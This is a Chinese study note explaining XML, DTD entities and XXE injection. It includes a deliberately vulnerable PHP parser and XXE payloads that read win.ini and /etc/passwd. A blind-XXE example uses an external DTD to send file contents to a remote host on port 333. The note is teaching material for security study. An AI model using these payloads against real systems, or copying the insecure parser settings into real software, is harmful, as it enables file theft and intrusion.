一、前言
由于刚好学到这一块的知识,所以先记录一下,还需要不断努力呀。
二、xml
1、概述
- XML 指可扩展标记语言(EXtensible Markup Language)
- XML 是一种标记语言,很类似 HTML
- XML 的设计宗旨是传输数据,而非显示数据
- XML 标签没有被预定义。您需要自行定义标签。
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准
2、xml与html区别
(1)XML 不是 HTML 的替代。
(2)XML 和 HTML 为不同的目的而设计:
- XML 被设计为传输和存储数据,其焦点是数据的内容。
- HTML 被设计用来显示数据,其焦点是数据的外观。
- HTML 旨在显示信息,而 XML 旨在传输信息。
3、注意的点
(1)所有 XML 元素都须有关闭标签如:<p>This is a paragraph</p>
(2)XML 标签对大小写敏感
(3)XML 文档必须有根元素
(4)XML 的属性值须加引号
等等,总之xml格式是非常严谨的
4、一个典型的xml文档
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<!--文档元素-->
<foo>&xxe;</foo>
运行结果:
三、DTD
1、概述
XML文档类型声明(通常称为DTD)是一种精确描述XML语言的方法。DTD根据相应XML语言的语法规则检查XML文档的结构和词汇的有效性。
2、实体
XML中实体分成五类:字符实体、命名实体、外部实体、参数实体、内部实体。下面就写常用的实体
3、内部实体
如果在DTD中声明实体,则称为内部实体。
(1)语法<!ENTITY entity_name "entity_value">
解释:entity_name
是实体的名称,后跟双引号或单引号中的值。entity_value
保存实体名称的值。通过向实体名称(即&entity_name
)添加前缀&
来取消引用内部实体的实体值。
(2)示例
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY a "admin">
]>
<note>&a;</note>
运行结果:
4、参数实体
参数实体的目的是能够创建替换文本的可重用部分。
语法:<!ENTITY % ename "entity_value">
解释:entity_value
是任何不是&
,%
或"
这几个字符。
参数实体用% ename
申明,引用时用%ename;
,只能在DTD中申明,DTD中引用。
5、外部实体
(1)外部实体
<!DOCTYPE note [
<!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
]>
<note>&c</note>
(2)外部参数实体(常用于无回显xxe)
插入代码:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % d SYSTEM "http://127.0.0.1/xml.dtd">
%d;
]>
<value>&a;</value>
http://127.0.0.1/xxe_file.dtd
中的代码:
<!ENTITY a "hello_world">
四、XXE
1、概述
简单来说,XXE(XML External Entity Injection)就是 XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,可能导致任意文件读取,系统命令执行、内网端口探测、攻击内网网站等危害。
2、xxe常见后端代码
<?php
libxml_disable_entity_loader(false); //True不允许加载外部实体 ,false允许加载外部实体
$xmlfile = file_get_contents('php://input'); // 将整个文件读入一个字符串,post方式提交数据
$dom = new DOMDocument(); //创建一个html或者xml或者文件树对象
$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD); //解析xml文件
$creds = simplexml_import_dom($dom); //将DOM节点转化为simpleXMLElement对象
echo $creds;
?>
五、实验
使用上面常见后端代码做一些实验
1、获取敏感信息
(1)抓包
(2)改变为post方法
(3)插入代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<creds>&xxe;</creds>
(4)查看结果
2、返回信息为base64
(1)抓包
(2)改为post方法
(3)插入代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">]>
<creds>&xxe;</creds>
(4)查看结果
3、无回显
(1)抓包
(2)改为post方法
(3)插入代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file://C:/Windows/win.ini">
<!ENTITY % dtd SYSTEM "http://192.168.52.133/xxe_file.dtd">
%dtd;
%send;
]>
http://192.168.52.133/xxe_file.dtd
中的代码为:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.52.133:333/?%file;'>" >
%all;
注:http://192.168.52.133
是被攻击的主机能访问到的地址
(4)查看结果